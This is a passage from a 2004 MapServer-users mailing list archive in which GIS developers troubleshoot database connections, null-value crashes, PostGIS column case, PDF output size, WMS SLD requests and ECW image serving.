virus ou des polluriels et rien de suspect n'a ete trouve. > > Les donnees et renseignements contenus dans ce message sont personnels, confidentiels et prives. Toute publication, utilisation ou diffusion, meme partielle, doit etre autorisee. > > Any data and information contained in this electronic mail is personal, confidential and secret. Any total or partial publication, use or distribution must be authorized. -- Ce message a ete verifie par MailScanner pour des virus ou des polluriels et rien de suspect n'a ete trouve. Les donnees et renseignements contenus dans ce message sont personnels, confidentiels et prives. Toute publication, utilisation ou diffusion, meme partielle, doit etre autorisee. Any data and information contained in this electronic mail is personal, confidential and secret. Any total or partial publication, use or distribution must be authorized. _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From eduardo at consultoria.eti.br Fri May 14 04:53:38 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Fri, 14 May 2004 08:53:38 -0300 Subject: [Mapserver-users] shapfiles 2 MS-SQL Server In-Reply-To: <1084520452.40a4780446bf1@mail.ebdesksolutions.com> References: <1084520452.40a4780446bf1@mail.ebdesksolutions.com> Message-ID: <40A4B342.2000705@consultoria.eti.br> By this time I think u can't. Although microsoft is preparing a MSSQL version( Yukon) which will support spatial data, I haven't heard nothing about MapServer reading MSSQL datasets. But u can use a 'dual' plataform like using ShapeFiles(maps) + MSSQL(to store relational data) and link both with the help of a GEO-IDentification field. best. Eduardo Patto Kanegae http://www.consultoria.eti.br ## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## *************************************** ***Fim da Mensagem / End of Message *** *************************************** taufan at ebdesksolutions.com escreveu: >Dear All. > >I would like use data source from MS-SQL Server (database) with mapserver, How I >can connect my shapfiles in the MS-SQL database format? > > >Taufan > > > >. >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > -- From bartvde at xs4all.nl Fri May 14 05:12:44 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Fri, 14 May 2004 14:12:44 +0200 (CEST) Subject: [Mapserver-users] mapserver crashes when having null values Message-ID: <22248.212.238.227.182.1084536764.squirrel@webmail.xs4all.nl> Hi list, I am using a shapefile as a datasource and I am classifying this shapefile on a column named Perc. Perc < 90.0 then red Perc > 90.0 then green Now my dbf column Perc has null values which makes Mapserver crash when issuing a WMS GetMap request. Is there anyway to use a classification on a column which contains null values? [Fri May 14 13:53:42 2004] [error] [client 192.168.3.4] Premature end of script headers: mapserv_42.exe Best regards, Bart From unicoletti at prometeo.it Fri May 14 05:12:25 2004 From: unicoletti at prometeo.it (unicoletti at prometeo.it) Date: Fri, 14 May 2004 14:12:25 +0200 Subject: [Mapserver-users] postgis and java mapscript In-Reply-To: <40A471C5.3050503@sun.com> References: <40A39316.4080505@sun.com> <40A39B2B.6000804@sun.com> <40A471C5.3050503@sun.com> Message-ID: <1084536745.40a4b7a91afd7@webmail.prometeo.it> A simple and general way to tell whether you have postgres support in your libmapscript.so is to run (on linux) ldd libmapscript.so This prints all libraries that mapscript is linked to. You have Postgres if libpq is present. HTH, UMBERTO Quoting Tomas Brandalik : > ok, that was wrong compilation without postgis support. Now it works > fine with these settings: > > CCFLAGS=-DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_TIFF -DUSE_JPEG > -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_GDAL > LDFLAGS=-L/usr/local/lib/swig1.3 -L../.. -L. -lmap -lgd -L/usr/local/lib > -lgd -ljpeg -lfreetype -lpng -lz -ltiff -ljpeg -lgdal > -L/usr/local/pgsql/lib -lpq -lm -lstdc++ > > -Tomas > > Tomas Brandalik wrote: > > > No, I use same map file and generate only simple png without any > > manipulation. But maybe problem is in compilation libmapscript.so > > with postgis enabled. I am not sure if I did it properly. will > > investigate further > > -Tomas > > > > Sean Gillies wrote: > > > >> On May 13, 2004, at 9:24 AM, Tomas Brandalik wrote: > >> > >>> I am running mapserver4.0.2 compiled with postgis0.8.1 extension. It > >>> works fine through cgi but not from java/mapscript. > >>> java/mapscript library generates expected png file if datasources > >>> were shapefiles but no output or even error shows up when > >>> datasources were postgis. > >>> I can't find any log or whatever would help me find the problem. > >>> Have anybody seen this before? > >>> > >>> -Tomas > >>> > >> > >> Tomas, mapscript uses the same code as mapserver, so this is unexpected. > >> Are you using the same map config file in each case? Are you using > >> mapscript to modify any of the postgis layer's attributes? Setting > >> filters or classitems? > >> > >> Sean > >> > >> > >> > >> > >> -- > >> Sean Gillies > >> sgillies at frii dot com > >> http://users.frii.com/sgillies > >> > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From woodbri at swoodbridge.com Fri May 14 05:25:44 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Fri, 14 May 2004 08:25:44 -0400 Subject: [Mapserver-users] Controlling PDF file size? In-Reply-To: <3E4215C93D3CE24D84A9FF385DF88D8702A08695@afeb-ms-02> References: <3E4215C93D3CE24D84A9FF385DF88D8702A08695@afeb-ms-02> Message-ID: <40A4BAC8.60904@swoodbridge.com> Antti, I didn't implement any of this code, but since mapserver does not really have arc's and all the data is just draw from simple vectors my guess is that there is no thinning of vectors because this would be extremely time consuming to do. If you have 3 point making up a 2 lines, how do you decide where to draw the middle point or not? Yes you could look at the angle between them but is you had 100's of points forming a polyline how do you then determine which points to remove and which to retain. This is a doable problem and I have code that I wrote for reducing the point density of shapefiles based on removing points that have minimal effect on shape, but it is a complicated algorithm and you have to have all the points before you start drawing. In mapserver you get vectors and draw them. In the output format handler that writes the PDF I think you only get the clipped vector fragments and you don't the whole polyline so you can reduce it easily without reconstructing the polyline. Doing this would slow down map generation, but that might be ok doe some applications that are not interactive. I think this would be a good thing to do and you should probably write a bug on it so the idea does not get lost. -Steve W. Antti.Roppola at brs.gov.au wrote: > Hi all, > > I am generating PDF maps and am not having much luck in controlling > the output data density. I have tried manipulating the "SIZE" parameter > in the map file and the "imgsize" argument when calling mapserver, while > the page dimensions change, the output file sizes do not differ appreciably. > > Examination of produced files shows that altering SIZE and IMGSIZE have > no apparent effect on the number of vertices contained in the PDF map. > > (having 1,000's of vertices in a page inch of line is just silly) > > Is it possible to control the point density of arcs when generating PDF? > I'd kind of assumed that SIZE would have a similar effect on vertex > discards as it does in the raster renderer. > > Thanks, > > Antti > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From Mike.Elstermann at itc-halle.de Fri May 14 05:25:18 2004 From: Mike.Elstermann at itc-halle.de (Elstermann, Mike) Date: Fri, 14 May 2004 14:25:18 +0200 Subject: [Mapserver-users] Download a Windows-Binary for shpfix Message-ID: <8BC0EAF5B383D711B69E0006293896C701756C3F@ZEVHNT6> hi mapservers, where can I find a downloadable Windows-Binary for shpfix (http://shapelib.maptools.org/shapelib-tools.html#shpfix) thanks for help! ::: mfg. Mike Elstermann [mikeE.], Teamleiter GIS/e-Solutions ::: IT-Consult Halle GmbH, Bornknechtstra?e 5, 06108 Halle (Saale) ::: Sitz: Gro?e Nikolaistra?e 8 ::: Tel.: +49 345 221 4237, Fax: +49 345 221 4236, mobil: +49 160 71 545 02 ::: mike.elstermann at itc-halle.de ::: http://www.itc-halle.de ::: GeoDaten Online? -> http://halgis.halle.de; http://umweltatlas.halle.de -----Urspr?ngliche Nachricht----- Von: Frank Warmerdam [mailto:warmerdam at pobox.com] Gesendet: Freitag, 30. April 2004 03:58 An: Dave Malach Cc: mapserver-users at lists.gis.umn.edu Betreff: Re: [Mapserver-users] OGR2OGR spat clipping issue Dave Malach wrote: > I am using OGR2OGR to clip a small rectangle into a shapefile from a > larger shapefile. > > > > The process works fine with the ?OGR2OGR ?spat? command, except that it > omits any polygons that are not completely inside the smaller > rectangle. I was hoping that it would simply clip (and maybe close) > those polygons that overlay the edge of the small rectangle. > > > > Is there a way to get OGR2OGR to do this? Dave, Ogr2ogr should be returning complete features with the full geometry for all features whose MBR (minimum bounding rectangle) intersects the rectangle you specify in the -spat argument. It never clips, but a feature should not need to be completely contained in the query rectangle. If you actually want to perform geometry operations such as clip to a bound, I would suggest you look at using the geometry operations in PostGIS. PS. This question would likely be best asked on the gdal-dev mailing list. Best regards, -- ---------------------------------------+------------------------------------ -- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From taufan at ebdesksolutions.com Fri May 14 05:39:09 2004 From: taufan at ebdesksolutions.com (taufan at ebdesksolutions.com) Date: Fri, 14 May 2004 19:39:09 +0700 Subject: [Mapserver-users] shapfiles 2 MS-SQL Server In-Reply-To: <40A4B342.2000705@consultoria.eti.br> References: <1084520452.40a4780446bf1@mail.ebdesksolutions.com> <40A4B342.2000705@consultoria.eti.br> Message-ID: <1084538349.40a4bded3f6b8@mail.ebdesksolutions.com> Thank's for your help, but can you explain more detail to me, i'm really need this 'dual' platform work. How i can make this connection possible. I think i can change link to .dbf in mapfile to my database in sql server. i'm get this idea from Mapinfo MapX. Thank's for your kindness Best Regards, Emanuel Taufan R. N GiS Specialist - Indonesia Quoting Eduardo Patto Kanegae : > By this time I think u can't. Although microsoft is preparing a MSSQL > version( Yukon) which will support > spatial data, I haven't heard nothing about MapServer reading MSSQL > datasets. > > But u can use a 'dual' plataform like using ShapeFiles(maps) + MSSQL(to > store relational data) and link both > with the help of a GEO-IDentification field. > > best. > > Eduardo Patto Kanegae > http://www.consultoria.eti.br > > ## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## > *************************************** > ***Fim da Mensagem / End of Message *** > *************************************** > > > > taufan at ebdesksolutions.com escreveu: > > >Dear All. > > > >I would like use data source from MS-SQL Server (database) with mapserver, > How I > >can connect my shapfiles in the MS-SQL database format? > > > > > >Taufan > > > > > > > >. > >_______________________________________________ > >Mapserver-users mailing list > >Mapserver-users at lists.gis.umn.edu > >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > > > > > -- > > . From eric at gomoos.org Fri May 14 05:36:24 2004 From: eric at gomoos.org (Eric Bridger) Date: 14 May 2004 08:36:24 -0400 Subject: [Mapserver-users] shp2mysql In-Reply-To: <5B70A170ED0ACE4B8A095B92A74B43480FDC7F@server2.geotec.local> References: <5B70A170ED0ACE4B8A095B92A74B43480FDC7F@server2.geotec.local> Message-ID: <1084538189.1522.14.camel@ubet.gomoos.org> On Fri, 2004-05-14 at 01:54, Winkler, Viola wrote: > Hello, > > to use data sources from mysql database with umn mapserver I have to > convert my shapfiles to this database format. I found an description for > using shp2mysql.pl to do this. For this I had download > shapelib-winbin-1.2.9 but I douldn't find this tool there. Have someone > an idea how I can convert my shapfiles in the mysql database format. > > Viola shp2mysql.pl is included in the mapserver source distribution Check your build directory. But you'll need the Perl Shapelib module and the DBI perl module. I've never used this but there is a Wiki page howto: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MySQL From eduardo at consultoria.eti.br Fri May 14 05:50:52 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Fri, 14 May 2004 09:50:52 -0300 Subject: [Mapserver-users] shapfiles 2 MS-SQL Server In-Reply-To: <1084538349.40a4bded3f6b8@mail.ebdesksolutions.com> References: <1084520452.40a4780446bf1@mail.ebdesksolutions.com> <40A4B342.2000705@consultoria.eti.br> <1084538349.40a4bded3f6b8@mail.ebdesksolutions.com> Message-ID: <40A4C0AC.1080801@consultoria.eti.br> it's basically a "1-to-1" relationship between the shapefile table ( the .dbf file) and its database table (mssql). if u have a point shapefile layer that represents the cities, u should also have a table in your database to store more information about each city. at the shapefile table and also at the database table u must have a common identification field... so, u run a query against the mssql database, get the ID's ( e.g.: 1, 2, 3, 5 and 9) and finally ask mapserver to draw cities which has ID's equal ( 1or 2 or 3 or 5 or 9) best. Eduardo taufan at ebdesksolutions.com escreveu: >Thank's for your help, but can you explain more detail to me, i'm really need >this 'dual' platform work. How i can make this connection possible. > >I think i can change link to .dbf in mapfile to my database in sql server. i'm >get this idea from Mapinfo MapX. > >Thank's for your kindness > > >Best Regards, >Emanuel Taufan R. N >GiS Specialist - Indonesia > > >Quoting Eduardo Patto Kanegae : > > > >>By this time I think u can't. Although microsoft is preparing a MSSQL >>version( Yukon) which will support >>spatial data, I haven't heard nothing about MapServer reading MSSQL >>datasets. >> >>But u can use a 'dual' plataform like using ShapeFiles(maps) + MSSQL(to >>store relational data) and link both >>with the help of a GEO-IDentification field. >> >>best. >> >>Eduardo Patto Kanegae >>http://www.consultoria.eti.br >> >>## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## >>*************************************** >>***Fim da Mensagem / End of Message *** >>*************************************** >> >> >> >>taufan at ebdesksolutions.com escreveu: >> >> >> >>>Dear All. >>> >>>I would like use data source from MS-SQL Server (database) with mapserver, >>> >>> >>How I >> >> >>>can connect my shapfiles in the MS-SQL database format? >>> >>> >>>Taufan >>> >>> >>> >>>. >>>_______________________________________________ >>>Mapserver-users mailing list >>>Mapserver-users at lists.gis.umn.edu >>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >>> >>> >>> >>> >>> >>> >>-- >> >> >> >> > > > >. > > > > -- Eduardo Patto Kanegae http://www.consultoria.eti.br ## Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ## *************************************** ***Fim da Mensagem / End of Message *** *************************************** From jmckenna at dmsolutions.ca Fri May 14 07:36:57 2004 From: jmckenna at dmsolutions.ca (Jeff McKenna) Date: Fri, 14 May 2004 10:36:57 -0400 (EDT) Subject: [Mapserver-users] Accessing uppercase tables with a PostGIS connection Message-ID: <200405141436.i4EEavHm028204@webmail2.magma.ca> I'm just a little confused again ha. I seem to want to do something so simple yet I'm stuck again. My PostGIS DB has a table named "CST00SRF", and I simply want to specify that as the CLASSITEM column in my mapfile. I get this returned when i load the page: ... Postgresql reports the error as 'ERROR: column "cst00srf" does not exist ' ... I've searched the PostGIS and MapServer archives..and found this post by Frank Warmerdam saying the same thing (http://postgis.refractions.net/pipermail/postgis-users/2002-May/000995.html). With my limited C knowledge i still see the line of code there that he had to change in mappostgis.c. Has this been fixed somewhere? There must be some other way right? I also found this post suggesting a possible PROCESSING "CASE=IGNORE" parameter setting in the LayerOBJ (http://postgis.refractions.net/pipermail/postgis-users/2002-November/001775.html). was this implemented? didn't work for me. thanks. jeff ...humbled again :) From dmorissette at dmsolutions.ca Fri May 14 08:15:12 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Fri, 14 May 2004 11:15:12 -0400 Subject: [Mapserver-users] mapserver crashes when having null values In-Reply-To: <22248.212.238.227.182.1084536764.squirrel@webmail.xs4all.nl> References: <22248.212.238.227.182.1084536764.squirrel@webmail.xs4all.nl> Message-ID: <40A4E280.8000406@dmsolutions.ca> bartvde at xs4all.nl wrote: > Hi list, > > I am using a shapefile as a datasource and I am classifying this shapefile > on a column named Perc. > > Perc < 90.0 then red > Perc > 90.0 then green > > Now my dbf column Perc has null values which makes Mapserver crash when > issuing a WMS GetMap request. > > Is there anyway to use a classification on a column which contains null > values? > > [Fri May 14 13:53:42 2004] [error] [client 192.168.3.4] Premature end of > script headers: mapserv_42.exe > I didn't know you could have null values in a DBF... could you please file a bug with a sample file to reproduce? If you get the bug in quick enough and it's a simple fix then it might make it in 4.2beta3 -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From bartvde at xs4all.nl Fri May 14 08:31:57 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Fri, 14 May 2004 17:31:57 +0200 (CEST) Subject: [Mapserver-users] mapserver crashes when having null values In-Reply-To: <40A4E280.8000406@dmsolutions.ca> References: <22248.212.238.227.182.1084536764.squirrel@webmail.xs4all.nl> <40A4E280.8000406@dmsolutions.ca> Message-ID: <18142.212.238.227.182.1084548717.squirrel@webmail.xs4all.nl> Hi Daniel, I have submitted a bug report with attachment. http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=665 Best regards, Bart > bartvde at xs4all.nl wrote: >> Hi list, >> >> I am using a shapefile as a datasource and I am classifying this >> shapefile >> on a column named Perc. >> >> Perc < 90.0 then red >> Perc > 90.0 then green >> >> Now my dbf column Perc has null values which makes Mapserver crash when >> issuing a WMS GetMap request. >> >> Is there anyway to use a classification on a column which contains null >> values? >> >> [Fri May 14 13:53:42 2004] [error] [client 192.168.3.4] Premature end of >> script headers: mapserv_42.exe >> > > I didn't know you could have null values in a DBF... could you please > file a bug with a sample file to reproduce? > > If you get the bug in quick enough and it's a simple fix then it might > make it in 4.2beta3 > > -- > ------------------------------------------------------------ > Daniel Morissette dmorissette at dmsolutions.ca > DM Solutions Group http://www.dmsolutions.ca/ > ------------------------------------------------------------ > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From ARyan at co.linn.or.us Fri May 14 09:13:36 2004 From: ARyan at co.linn.or.us (Ryan, Adam) Date: Fri, 14 May 2004 09:13:36 -0700 Subject: [Mapserver-users] PHP vs CGI performance Message-ID: <614FCE5F14A6D41180C200010240D6A261D25C@LINNMS> List, I'm curious if anyone has compared the performance of PHP mapscript with the CGI version in doing the exact same thing, i.e. comparing the simplest php script to return an image vs. the cgi with minimum url parameters for the same map file. I've been converting over to using PHP mapscript and though I haven't spent too much time optimizing my PHP scripts yet, I have noticed a slight increase in the time it takes to return an image. I'm not surprised, just curious if others had actually done some real testing. Also, are there specific PHP config settings that I should be setting/unsetting in order to speed up performance. Thanks a lot for any comments on this, Adam From TMitchell at lignum.com Fri May 14 10:07:34 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Fri, 14 May 2004 10:07:34 -0700 Subject: [Mapserver-users] Detailed survey results Message-ID: I've summarized all the survey results collected to date, they are posted at: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?SurveyResultsSummary Enjoy. Tyler From TMitchell at lignum.com Fri May 14 10:13:16 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Fri, 14 May 2004 10:13:16 -0700 Subject: [Mapserver-users] Accessing uppercase tables with a PostGIS connection In-Reply-To: <200405141436.i4EEavHm028204@webmail2.magma.ca> Message-ID: > I'm just a little confused again ha. I seem to want to do something > so simple yet I'm > stuck again. My PostGIS DB has a table named "CST00SRF", and I > simply want to specify > that as the CLASSITEM column in my mapfile. I get this returned > when i load the page: > > ... > Postgresql reports the error as 'ERROR: column "cst00srf" does not exist ' > ... Hmm...you are trying to reference a COLUMN and not a TABLE for your CLASSITEM right? In your note you mentioned "a table named "CST00SRF" " - is that really a column? Is the error report actually correct and you are getting confused by putting a table name in place of where a colum name should be? Otherwise, can you reload your PostGIS data? With ogr2ogr there is a creation option "-lco LAUNDER=YES" that will clean up you object names. Tyler From TMitchell at lignum.com Fri May 14 10:26:59 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Fri, 14 May 2004 10:26:59 -0700 Subject: [Mapserver-users] Mapserver Newbie Quests In-Reply-To: <2A3246007B0AC345A11FAF121B1BAC48040ACC@NTPLHX10.ad.noel.gv.at> Message-ID: > I have set up Mapserver Win Binaries (4.2 beta2) on a Windows 2000 > Server Machine, because of the ECW Support of GDAL. The Server only > should Serve a bunch of ECW Color Images per OGC Service at a good > performance. So I created a tile index over the Fotos (~10000 > Mosaics in endconfig) as shapefile. This works fine but there are > also a lot of problems, I can not solve with my mapserver skills. > > Problem 1: Can I use a tile index, served by a PostGIS Database? Is > that faster (more perormance)? I think that your shape file tile index is probably going to be faster, in theory, than PostGIS. The nature of MapServer is that PostGIS calls have to go through a couple more levels to get your answer, whereas shape files are bit more simple. > Problem 2: When I zoom out too much, mapserver needs exponentially > more time to process the input ecw?s to a output jpeg. How can I > tune that best? (Pyramids? How?) ECW's, by nature, have a type of pyramids already. It is not clear whether or not GDAL takes complete advantage of this, I know it was an issue earlier on - a good question for the GDAL mailing list. There are several folks, including myself, using this capability - but I'm not pushing the limits as you appear to be. > Problem 3: On the Server, there are running lots of instances of > mapserv.exe, which I can?t kill, because "Acces denied!" (I?m root > on that machine). COuld there be some misconfiguration? Perhaps restarting the web server would help. I assume it's not an Apache web server :) > Problem 4: I?m testing this configuration (mapserver + ecw Imagery + > tile index), to find a method to serve very large raster data for > our ArcIMS Services, ArcGIS Applications and AutoCAD Clients. Do you > think, there might be a better solution? For my part, mapserver > could do this good (if I could admin it perfectly), but maybe there > is a much better solution. I think targetting OGC WMS would probably be your best bet - sounds like you are on the right track! Tyler From jmckenna at dmsolutions.ca Fri May 14 12:36:39 2004 From: jmckenna at dmsolutions.ca (Jeff McKenna) Date: Fri, 14 May 2004 15:36:39 -0400 Subject: [Mapserver-users] Accessing uppercase tables with a PostGIS connection References: Message-ID: <40A51FC7.8060400@dmsolutions.ca> yes i wrote that wrong..i meant a column name, sorry. The column name is ""CST00SRF" . I want to avoid having to reload all of the data (with the LAUNDER option). Is that my only option? thanks. jeff Tyler Mitchell wrote: >>I'm just a little confused again ha. I seem to want to do something >>so simple yet I'm >>stuck again. My PostGIS DB has a table named "CST00SRF", and I >>simply want to specify >>that as the CLASSITEM column in my mapfile. I get this returned >>when i load the page: >> >>... >>Postgresql reports the error as 'ERROR: column "cst00srf" does not exist > > ' > >>... > > > Hmm...you are trying to reference a COLUMN and not a TABLE for your > CLASSITEM right? > In your note you mentioned "a table named "CST00SRF" " - is that really a > column? Is the error report actually correct and you are getting confused > by putting a table name in place of where a colum name should be? > > Otherwise, can you reload your PostGIS data? With ogr2ogr there is a > creation option "-lco LAUNDER=YES" that will clean up you object names. > > Tyler > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- Jeff McKenna GIS Specialist DM Solutions Group Inc. http://www.dmsolutions.ca From dblasby at refractions.net Fri May 14 12:56:33 2004 From: dblasby at refractions.net (David Blasby) Date: Fri, 14 May 2004 12:56:33 -0700 Subject: [Mapserver-users] Accessing uppercase tables with a PostGIS connection In-Reply-To: <40A51FC7.8060400@dmsolutions.ca> References: <40A51FC7.8060400@dmsolutions.ca> Message-ID: <40A52471.4020309@refractions.net> Jeff McKenna wrote: > yes i wrote that wrong..i meant a column name, sorry. The column name > is ""CST00SRF" . I want to avoid having to reload all of the data (with > the LAUNDER option). Is that my only option? You can try using quotes around your column name in the DATA statement. Otherwise, you can do this: ALTER TABLE RENAME COLUMN "CST00SRF" TO cst00srf; dave From rarcjr at hotmail.com Sat May 15 08:36:19 2004 From: rarcjr at hotmail.com (J. Ridolfi) Date: Sat, 15 May 2004 15:36:19 +0000 Subject: [Mapserver-users] UTM Conversion Message-ID: Dear Support staff, My question is simple eventhough the answer my be very complex.. Is there any way o function that converts a coordinate form UTM to Degrees?.. or even sexadecimals would be o use.. Or could you point me to any website with info on formulas used for this conversion?? ?ve seen 2 or 3 sites, but they are so complex I couldnt even beleive that could be the formula for this "seemingly" easy conversion task.. Well, thatnks in advance. Best Regards, J. Ridolfi _________________________________________________________________ The new MSN 8: advanced junk mail protection and 2 months FREE* http://join.msn.com/?page=features/junkmail From gerry.creager at tamu.edu Sat May 15 08:55:07 2004 From: gerry.creager at tamu.edu (Gerry Creager) Date: Sat, 15 May 2004 10:55:07 -0500 Subject: [Mapserver-users] UTM Conversion In-Reply-To: References: Message-ID: <40A63D5B.3080408@tamu.edu> Using PROJ allows conversion from UTM to decimal degrees in the projection of data onto the map. This tool, from the US National Geodetic Survey can help the math conversions. http://www.ngs.noaa.gov/TOOLS/utm.html gerry J. Ridolfi wrote: > > Dear Support staff, > > My question is simple eventhough the answer my be very complex.. Is > there any way o function that converts a coordinate form UTM to > Degrees?.. or even sexadecimals would be o use.. Or could you point me > to any website with info on formulas used for this conversion?? ?ve seen > 2 or 3 sites, but they are so complex I couldnt even beleive that could > be the formula for this "seemingly" easy conversion task.. Well, thatnks > in advance. > > Best Regards, > J. Ridolfi > > _________________________________________________________________ > The new MSN 8: advanced junk mail protection and 2 months FREE* > http://join.msn.com/?page=features/junkmail > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- Gerry Creager -- gerry.creager at tamu.edu Network Engineering -- AATLT, Texas A&M University Cell: 979.229.5301 Office: 979.458.4020 FAX: 979.847.8578 Pager: 979.228.0173 Office: 903A Eller Bldg, TAMU, College Station, TX 77843 From bartvde at xs4all.nl Sat May 15 09:21:17 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Sat, 15 May 2004 18:21:17 +0200 Subject: [Mapserver-users] SLD_BODY and internal server error Message-ID: Hi list, I have encountered an internal server error when performing a GetMap request and a GetFeatureInfo request using an SLD_BODY. BTW: the URL was not generated by me but by Mapscript/Chameleon. The URL looks like the following: http://myserver:1112/cgi-bin/mapserv_42.exe?map=c%3A%2Fms4w_20%2Fapps%2Fnisprestatie%2Fmap%2Fnisprestatie_server.map&LAYERS=bon_regio_vlak_2005&REQUEST=GetFeatureInfo&SERVICE=WMS&FORMAT=image%2Fpng&SLD_BODY=%3CStyledLayerDescriptor+version%3D%5C%221.0.0%5C%22+xmlns%3D%5C%22http%3A%2F%2Fwww.opengis.net%2Fsld%5C%22+xmlns%3Agml%3D%5C%22http%3A%2F%2Fwww.opengis.net%2Fgml%5C%22+xmlns%3Aogc%3D%5C%22http%3A%2F%2Fwww.opengis.net%2Fogc%5C%22+xmlns%3Axlink%3D%5C%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%5C%22+xmlns%3Axsi%3D%5C%22http%3A%2F%2Fwww.w3.org%2F2001%2FXMLSchema-instance%5C%22+xsi%3AschemaLocation%3D%5C%22http%3A%2F%2Fwww.opengis.net%2Fsld+http%3A%2F%2Fschemas.opengis.net%2Fsld%2F1.0.0%2FStyledLayerDescriptor.xsd%5C%22%3E%0A%3C%2FStyledLayerDescriptor%3E%0A&STYLES=&HEIGHT=400&QUERY_LAYERS=bon_regio_vlak_2005&VERSION=1.1.0&SRS=EPSG%3A28992&WIDTH=550&BBOX=-79153.571429%2C299294.272727%2C369153.571429%2C624705.727273&TRANSPARENT=TRUE&INFO_FORMAT=application%2Fvnd.ogc.gml&X=427&EXCEPTIONS= application%2Fvnd.ogc.se_xml&Y=79 If I change the URL to do a GetMap request I get the same internal server error. If I leave out the SLD_BODY part no problems. Also, why is the GetFeatureInfo request interpreting the SLD_BODY, at least that is what I assume it is doing? So maybe these are 2 separate issues: 1) crash when having this kind of SLD in the SLD_BODY (probably because of the escaping of quotes) 2) GetFeatureInfo interpreting the SLD_BODY parameter (should it not just ignore it?) When I url_decode the SLD part it says (the quotes seem to be escaped by \ which is strange): [Sat May 15 18:14:51 2004] [error] [client 192.168.3.4] Premature end of script headers: mapserv_42.exe Best regards, Bart From rich at greenwoodmap.com Sat May 15 11:10:04 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Sat, 15 May 2004 12:10:04 -0600 Subject: [Mapserver-users] Mapserver Newbie Quests In-Reply-To: References: Message-ID: <40A65CFC.8080106@greenwoodmap.com> Tyler Mitchell wrote: >>I have set up Mapserver Win Binaries (4.2 beta2) on a Windows 2000 >>Server Machine, because of the ECW Support of GDAL. The Server only >>should Serve a bunch of ECW Color Images per OGC Service at a good >>performance. So I created a tile index over the Fotos (~10000 >>Mosaics in endconfig) as shapefile. This works fine but there are >>also a lot of problems, I can not solve with my mapserver skills. >> >>Problem 1: Can I use a tile index, served by a PostGIS Database? Is >>that faster (more perormance)? > > > I think that your shape file tile index is probably going to be faster, in > theory, than PostGIS. The nature of MapServer is that PostGIS calls have > to go through a couple more levels to get your answer, whereas shape files > are bit more simple. > > >>Problem 2: When I zoom out too much, mapserver needs exponentially >>more time to process the input ecw?s to a output jpeg. How can I >>tune that best? (Pyramids? How?) > ECW's, by nature, have a type of pyramids already. Even if GDAL is using ECW's built-in pyramids, the overhead of opening ~10000 files would be significant. I'd recommend pyramids. Maybe fewer than you would use with tiffs. Patch your images together and down sample them. >>Problem 3: On the Server, there are running lots of instances of >>mapserv.exe, which I can?t kill, because "Acces denied!" (I?m root >>on that machine). COuld there be some misconfiguration? Those are probably instances of mapserv.exe that died. Get the "kill.exe" tool from the NT Resource Kit (or Google it). >>Problem 4: I?m testing this configuration (mapserver + ecw Imagery + >>tile index), to find a method to serve very large raster data for >>our ArcIMS Services, ArcGIS Applications and AutoCAD Clients. Do you >>think, there might be a better solution? For my part, mapserver >>could do this good (if I could admin it perfectly), but maybe there >>is a much better solution. ER Mapper has an ECW Image Web Server. Don't know much about it, but it sounds like what you are looking for. Rich -- Richard Greenwood www.greenwoodmap.com From gisworld at 126.com Sat May 15 23:22:47 2004 From: gisworld at 126.com (Liangxu Wang) Date: Sun, 16 May 2004 14:22:47 +0800 Subject: [Mapserver-users] where is the latest flash doc? Message-ID: <024c01c43b0e$37023910$4271fea9@gisedu> hi,all I has read the doc about flash,but from the mail list I has found somen new information,ie., OUTPUT_MOVIE=3DMULTIPLE Is there a latest flash doc except http://www2.dmsolutions.ca/mapserver/dl/FlashMapserverUserDoc.html ? thank you. 